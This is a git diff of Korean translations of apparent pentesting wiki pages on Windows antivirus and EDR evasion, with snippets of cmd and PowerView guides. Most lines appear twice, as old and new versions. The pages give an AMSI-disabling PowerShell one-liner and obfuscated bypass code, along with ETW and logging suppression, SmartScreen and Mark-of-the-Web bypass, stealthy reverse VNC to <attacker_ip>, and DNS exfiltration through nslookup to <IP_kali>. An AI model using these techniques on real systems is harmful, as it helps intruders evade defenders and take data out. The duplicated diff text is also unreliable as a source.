AMSI는 "[파일 없는 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 **메모리에서 직접 페이로드를 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
@ -145,28 +145,30 @@ AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.
우리는 디스크에 파일을 생성하지 않았지만, 여전히 AMSI 때문에 메모리에서 잡혔습니다.
게다가, **.NET 4.8**부터 C# 코드는 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 사용하여 메모리 실행을 로드하는 데에도 영향을 미칩니다. 따라서 AMSI를 회피하고 싶다면 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
AMSI를 우회하는 방법은 몇 가지가 있습니다:
- **난독화**
AMSI는 주로 정적 감지와 함께 작동하므로, 로드하려는 스크립트를 수정하는 것이 감지를 회피하는 좋은 방법이 될 수 있습니다.
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어졌는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아질 수 있으므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
그러나 AMSI는 여러 레이어가 있더라도 스크립트를 난독화 해제할 수 있는 기능이 있으므로, 난독화가 어떻게 이루어지는지에 따라 나쁜 선택이 될 수 있습니다. 이는 회피를 간단하지 않게 만듭니다. 하지만 때때로, 변수 이름 몇 개만 변경하면 괜찮아질 수 있으므로, 얼마나 많은 것이 플래그가 되었는지에 따라 다릅니다.
- **AMSI 우회**
AMSI는 powershell (또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하여 구현되므로, 비특권 사용자로 실행하더라도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함으로 인해 연구자들은 AMSI 스캔을 회피하는 여러 방법을 발견했습니다.
AMSI는 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하여 구현되므로, 비특권 사용자로 실행하더라도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함으로 인해 연구자들은 AMSI 스캔을 회피하는 여러 방법을 발견했습니다.
**오류 강제 발생**
AMSI 초기화를 실패하도록 강제하면 (amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 넓은 사용을 방지하기 위해 서명을 개발했습니다.
```powershell
AMSI 초기화를 실패하게 강제하면(amsiInitFailed) 현재 프로세스에 대한 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)에 의해 공개되었으며, Microsoft는 더 널리 사용되는 것을 방지하기 위해 서명을 개발했습니다.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
단 한 줄의 PowerShell 코드로 현재 PowerShell 프로세스에서 AMSI를 사용할 수 없게 만들 수 있었습니다. 이 줄은 물론 AMSI 자체에 의해 플래그가 지정되었으므로 이 기술을 사용하기 위해서는 약간의 수정이 필요합니다.
여기에서 제가 가져온 수정된 AMSI 우회 방법이 있습니다 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
@ -183,26 +185,53 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**Memory Patching**
이 기술은 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 처음 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E_INVALIDARG 코드를 반환하도록 덮어쓰는 것을 포함합니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
이 기술은 처음에 [@RastaMouse](https://twitter.com/_RastaMouse/)에 의해 발견되었으며, amsi.dll에서 "AmsiScanBuffer" 함수의 주소를 찾아 사용자 제공 입력을 스캔하는 역할을 하는 이 함수를 E_INVALIDARG 코드를 반환하는 명령어로 덮어쓰는 것을 포함합니다. 이렇게 하면 실제 스캔의 결과가 0으로 반환되어 깨끗한 결과로 해석됩니다.
> [!NOTE]
> 더 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 읽어주세요.
> 더 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 읽어보세요.
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술이 있으며, [**이 페이지**](basic-powershell-for-pentesters/index.html#amsi-bypass)와 [이 레포지토리](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
PowerShell을 사용하여 AMSI를 우회하는 데 사용되는 다른 많은 기술도 있으며, [**이 페이지**](basic-powershell-for-pentesters/index.html#amsi-bypass)와 [**이 레포**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)를 확인하여 더 많은 정보를 알아보세요.
또는 메모리 패칭을 통해 각 새로운 Powersh를 패치하는 이 스크립트가 있습니다.
이 도구 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail)도 AMSI를 우회하는 스크립트를 생성합니다.
**Remove the detected signature**
현재 프로세스의 메모리에서 감지된 AMSI 서명을 제거하기 위해 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 및 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**와 같은 도구를 사용할 수 있습니다. 이 도구는 현재 프로세스의 메모리에서 AMSI 서명을 스캔한 다음 NOP 명령어로 덮어써서 메모리에서 효과적으로 제거합니다.
**AV/EDR products that uses AMSI**
AMSI를 사용하는 AV/EDR 제품 목록은 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**에서 확인할 수 있습니다.
**Use Powershell version 2**
PowerShell 버전 2를 사용하면 AMSI가 로드되지 않으므로 AMSI에 의해 스캔되지 않고 스크립트를 실행할 수 있습니다. 이렇게 할 수 있습니다:
```bash
powershell.exe -version 2
```
## PS Logging
PowerShell 로깅은 시스템에서 실행된 모든 PowerShell 명령을 기록할 수 있는 기능입니다. 이는 감사 및 문제 해결 목적으로 유용할 수 있지만, **탐지를 피하고자 하는 공격자에게는 문제가 될 수 있습니다**.
PowerShell 로깅을 우회하려면 다음 기술을 사용할 수 있습니다:
- **PowerShell 전사 및 모듈 로깅 비활성화**: 이를 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs)와 같은 도구를 사용할 수 있습니다.
- **PowerShell 버전 2 사용**: PowerShell 버전 2를 사용하면 AMSI가 로드되지 않으므로 AMSI에 의해 스캔되지 않고 스크립트를 실행할 수 있습니다. 이렇게 할 수 있습니다: `powershell.exe -version 2`
- **비관리 Powershell 세션 사용**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용하여 방어 없이 powershell을 생성합니다 (이것은 Cobalt Strike의 `powerpick`가 사용하는 것입니다).
## Obfuscation
C# 클리어 텍스트 코드를 **난독화**하거나 이진 파일을 컴파일하기 위한 **메타프로그래밍 템플릿**을 생성하거나 **컴파일된 이진 파일을 난독화**하는 데 사용할 수 있는 여러 도구가 있습니다:
> [!NOTE]
> 여러 난독화 기술은 데이터를 암호화하는 데 의존하며, 이는 이진 파일의 엔트로피를 증가시켜 AV 및 EDR이 이를 감지하기 쉽게 만듭니다. 이에 주의하고, 민감하거나 숨겨야 할 코드의 특정 섹션에만 암호화를 적용하는 것이 좋습니다.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화기**
다음과 같은 도구를 사용하여 **C# 클리어 텍스트 코드 난독화**, **이진 파일 컴파일을 위한 메타프로그래밍 템플릿 생성** 또는 **컴파일된 이진 파일 난독화**를 할 수 있습니다:
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET 애플리케이션을 위한 훌륭한 오픈 소스 난독화 도구입니다. 제어 흐름 난독화, 안티 디버깅, 안티 변조 및 문자열 암호화와 같은 다양한 보호 기술을 제공합니다. 특정 코드 조각을 난독화할 수 있어 추천됩니다.
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 난독화 도구**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목표는 [LLVM](http://www.llvm.org/) 컴파일 스위트의 오픈 소스 포크를 제공하여 [코드 난독화](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 및 변조 방지를 통해 소프트웨어 보안을 강화하는 것입니다.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구를 사용하지 않고 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 삶을 조금 더 어렵게 만듭니다.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화기입니다.
- [**metame**](https://github.com/a0rtega/metame): Metame는 임의의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화하여 정상적인 제어 흐름에 대한 우리의 자연스러운 개념을 저해합니다.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 외부 도구 없이 컴파일 시간에 난독화된 코드를 생성하는 방법을 보여줍니다.
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업의 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys를 포함한 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화 도구입니다.
- [**metame**](https://github.com/a0rtega/metame): Metame는 임의 실행 파일을 위한 간단한 변형 코드 엔진입니다.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(리턴 지향 프로그래밍)를 사용하는 LLVM 지원 언어를 위한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화합니다.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE Crypter입니다.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 쉘코드로 변환한 다음 로드할 수 있습니다.
@ -214,9 +243,9 @@ Microsoft Defender SmartScreen은 잠재적으로 악성 애플리케이션 실
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 이는 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다(파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
SmartScreen은 주로 평판 기반 접근 방식을 사용하여, 일반적으로 다운로드되지 않는 애플리케이션이 SmartScreen을 트리거하여 최종 사용자가 파일을 실행하지 못하도록 경고하고 방지합니다 (파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).
**MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 Zone.Identifier라는 이름을 가집니다.
**MoTW** (Mark of The Web)는 [NTFS 대체 데이터 스트림](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)으로, Zone.Identifier라는 이름으로 인터넷에서 파일을 다운로드할 때 자동으로 생성되며, 다운로드한 URL과 함께 생성됩니다.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>인터넷에서 다운로드한 파일의 Zone.Identifier ADS 확인.</p></figcaption></figure>
@ -227,10 +256,10 @@ SmartScreen은 주로 평판 기반 접근 방식으로 작동하며, 이는 일
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 Mark-of-the-Web을 피하기 위해 페이로드를 출력 컨테이너에 패키징하는 도구입니다.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 Mark-of-the-Web을 피하기 위해 페이로드를 출력 컨테이너로 패키징하는 도구입니다.
예제 사용법:
```powershell
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
@ -255,52 +284,71 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW)는 애플리케이션과 시스템 구성 요소가 **이벤트를 기록**할 수 있게 해주는 Windows의 강력한 로깅 메커니즘입니다. 그러나 보안 제품이 악의적인 활동을 모니터링하고 탐지하는 데에도 사용될 수 있습니다.
AMSI가 비활성화(우회)되는 방식과 유사하게, 사용자 공간 프로세스의 **`EtwEventWrite`** 함수가 이벤트를 기록하지 않고 즉시 반환하도록 만들 수도 있습니다. 이는 메모리에서 함수를 패치하여 즉시 반환하게 하여 해당 프로세스의 ETW 로깅을 효과적으로 비활성화하는 방식으로 이루어집니다.
자세한 정보는 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) 및 [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**에서 확인할 수 있습니다.
## C# Assembly Reflection
C# 바이너리를 메모리에 로드하는 것은 꽤 오랜 시간 동안 알려져 있으며, AV에 걸리지 않고 포스트 익스플로잇 도구를 실행하는 매우 좋은 방법입니다.
C# 바이너리를 메모리에 로드하는 것은 꽤 오랫동안 알려져 있으며, AV에 걸리지 않고 포스트 익스플로잇 도구를 실행하는 매우 좋은 방법입니다.
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI 패치에 대해서만 걱정하면 됩니다.
페이로드가 디스크를 건드리지 않고 메모리에 직접 로드되기 때문에, 전체 프로세스에 대해 AMSI를 패치하는 것만 걱정하면 됩니다.
대부분의 C2 프레임워크(슬리버, 코버넌트, 메타스플로잇, 코발트스트라이크, 하복 등)는 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만, 이를 수행하는 방법은 여러 가지가 있습니다:
- **Fork\&Run**
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입한 후, 악성 코드를 실행하고 완료되면 새로운 프로세스를 종료하는 것을 포함합니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히면 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
이는 **새로운 희생 프로세스를 생성**하고, 그 새로운 프로세스에 포스트 익스플로잇 악성 코드를 주입하여 악성 코드를 실행한 후, 완료되면 새로운 프로세스를 종료하는 방식입니다. 이 방법은 장점과 단점이 모두 있습니다. Fork and run 방법의 장점은 실행이 **우리의 비콘 임플란트 프로세스 외부**에서 발생한다는 것입니다. 이는 포스트 익스플로잇 작업에서 문제가 발생하거나 잡히더라도 **임플란트가 생존할 가능성이 훨씬 더 높습니다.** 단점은 **행동 탐지**에 의해 잡힐 가능성이 **더 높아진다는** 것입니다.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는 것**입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행 중에 문제가 발생하면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다. 비콘이 충돌할 수 있습니다.
이는 포스트 익스플로잇 악성 코드를 **자신의 프로세스에 주입하는** 것입니다. 이렇게 하면 새로운 프로세스를 생성하고 AV에 의해 스캔되는 것을 피할 수 있지만, 단점은 페이로드 실행 중 문제가 발생하면 **비콘을 잃을 가능성이 훨씬 더 높아진다는** 것입니다. 비콘이 충돌할 수 있기 때문입니다.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> C# 어셈블리 로딩에 대해 더 읽고 싶다면, 이 기사를 확인해 보세요 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 및 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
C# 어셈블리를 **PowerShell에서 로드할 수도 있습니다**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 및 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
또한 C# 어셈블리를 **PowerShell에서 로드할 수** 있으며, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 및 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
## Using Other Programming Languages
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안한 바와 같이, 손상된 머신에 **공격자 제어 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안된 바와 같이, 손상된 머신에 **공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 대한 접근을 제공함으로써** 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
SMB 공유에서 인터프리터 바이너리 및 환경에 대한 접근을 허용함으로써, 손상된 머신의 **메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.**
인터프리터 바이너리와 SMB 공유의 환경에 대한 접근을 허용함으로써, 손상된 머신의 메모리 내에서 **이 언어들로 임의의 코드를 실행할 수 있습니다.**
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 갖습니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
레포지토리는 다음과 같이 언급합니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용함으로써 **정적 서명을 우회할 수 있는 더 많은 유연성을 제공합니다.** 이러한 언어로 무작위로 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
## TokenStomping
Token stomping은 공격자가 **액세스 토큰이나 EDR 또는 AV와 같은 보안 제품을 조작**하여 프로세스가 종료되지 않도록 권한을 줄이는 기술입니다. 그러나 악의적인 활동을 확인할 권한은 없습니다.
이를 방지하기 위해 Windows는 **외부 프로세스가 보안 프로세스의 토큰에 대한 핸들을 얻는 것을 방지할 수 있습니다.**
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Advanced Evasion
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로, 성숙한 환경에서 완전히 탐지되지 않는 것은 거의 불가능합니다.
회피는 매우 복잡한 주제이며, 때때로 하나의 시스템에서 여러 가지 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 것은 거의 불가능합니다.
당신이 맞서는 모든 환경은 고유한 강점과 약점을 가질 것입니다.
당신이 공격하는 모든 환경은 각자의 강점과 약점을 가지고 있습니다.
더 고급 회피 기술에 대한 발판을 얻기 위해 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 시청하시길 권장합니다.
더 고급 회피 기술에 대한 발판을 얻기 위해 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 시청하시기를 권장합니다.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
[@mariuszbit](https://twitter.com/mariuszbit)의 깊이 있는 회피에 대한 또 다른 훌륭한 강연입니다.
이것은 [@mariuszbit](https://twitter.com/mariuszbit)의 깊이 있는 회피에 대한 또 다른 훌륭한 강연입니다.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -311,11 +359,11 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하여 **바이너리의 일부를 제거**하여 **Defender가 악성으로 찾는 부분을 알아내고** 이를 분리할 수 있습니다.\
또 다른 도구로는 [**avred**](https://github.com/dobin/avred)가 있으며, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하고 있습니다.
같은 작업을 수행하는 또 다른 도구는 [**avred**](https://github.com/dobin/avred)로, [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 서비스를 제공하는 오픈 웹을 가지고 있습니다.
### **Telnet Server**
Windows 10까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치할 수 있었습니다(관리자로).
Windows 10 이전까지 모든 Windows에는 **Telnet 서버**가 포함되어 있었으며, 이를 설치하려면 (관리자로서) 다음과 같이 하면 됩니다:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -342,13 +390,13 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
#### **역방향 연결**
**공격자**는 **호스트** 내에서 이진 파일 `vncviewer.exe -listen 5900`를 **실행**하여 역방향 **VNC 연결**을 수신할 준비를 해야 합니다. 그런 다음, **희생자** 내에서: winvnc 데몬을 시작합니다 `winvnc.exe -run` 및 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`를 실행합니다
**공격자**는 **호스트** 내에서 이진 파일 `vncviewer.exe -listen 5900`를 **실행**하여 역방향 **VNC 연결**을 받을 준비를 해야 합니다. 그런 다음, **희생자** 내에서: winvnc 데몬 `winvnc.exe -run`을 시작하고 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`을 실행합니다
**경고:** 은폐를 유지하기 위해 몇 가지를 하지 않아야 합니다
- `winvnc`가 이미 실행 중이라면 시작하지 마세요, 그렇지 않으면 [팝업](https://i.imgur.com/1SROTTl.png)이 발생합니다. `tasklist | findstr winvnc`로 실행 중인지 확인하세요
- 동일한 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요, 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
- 도움을 위해 `winvnc -h`를 실행하지 마세요, 그렇지 않으면 [팝업](https://i.imgur.com/oc18wcu.png)이 발생합니다
- `winvnc`가 이미 실행 중이라면 시작하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/1SROTTl.png)이 발생합니다. `tasklist | findstr winvnc`로 실행 중인지 확인하세요
- 동일한 디렉토리에 `UltraVNC.ini` 없이 `winvnc`를 시작하지 마세요. 그렇지 않으면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
- 도움을 위해 `winvnc -h`를 실행하지 마세요. 그렇지 않으면 [팝업](https://i.imgur.com/oc18wcu.png)이 발생합니다
### GreatSCT
@ -479,7 +527,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
C# 난독화 도구 목록: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -525,6 +573,6 @@ https://github.com/praetorian-code/vulcan
```
### 더 보기
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

8
src/windows-hardening/basic-cmd-for-pentesters.md
View File

@ -314,8 +314,8 @@ who^ami #whoami
```
### DOSfuscation
CMD 라인을 난독화하여 생성합니다.
```powershell
CMD 라인을 난독화합니다.
```bash
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
@ -337,9 +337,9 @@ netsh http show urlacl
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
#### Victim
#### 피해자
**`for /f tokens`** 기술: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 서버로 전송할 수 있습니다.
**`for /f tokens`** 기법: 이를 통해 명령을 실행하고 각 줄의 첫 번째 X 단어를 가져와 DNS를 통해 우리의 서버로 전송할 수 있습니다.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2

98
src/windows-hardening/basic-powershell-for-pentesters/README.md
View File

File diff suppressed because one or more lines are too long

34
src/windows-hardening/basic-powershell-for-pentesters/powerview.md
View File

@ -7,7 +7,7 @@ PowerView의 최신 버전은 항상 PowerSploit의 dev 브랜치에 있습니
[**SharpView**](https://github.com/tevora-threat/SharpView)는 [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)의 .NET 포트입니다.
### Quick enumeration
```powershell
```bash
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### 도메인 정보
```powershell
```bash
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
Get-ForestDomain
```
### 사용자, 그룹, 컴퓨터 및 OU
```powershell
```bash
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### 로그인 및 세션
```powershell
```bash
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Group Policy Object - GPOs
공격자가 **GPO에 대한 높은 권한**을 가지고 있다면, 그는 **사용자에게 권한 추가**, **호스트에 로컬 관리자 사용자 추가** 또는 **작업 수행을 위한 예약 작업 생성** (즉시) 등을 통해 **권한 상승**을 할 수 있습니다.\
[**자세한 정보와 이를 악용하는 방법은 이 링크를 참조하세요**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
```powershell
공격자가 **GPO에 대한 높은 권한**을 가지고 있다면, 그는 **사용자에게 권한 추가**, **호스트에 로컬 관리자 사용자 추가** 또는 **작업 수행을 위한 예약 작업 생성** (즉시)을 통해 **권한 상승**을 할 수 있습니다.\
[**자세한 정보와 이를 악용하는 방법은 이 링크를 따르세요**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
```bash
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
@ -178,7 +178,7 @@ Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectNam
{{#endref}}
### ACL
```powershell
```bash
#Get ACLs of an object (permissions of other objects over the indicated one)
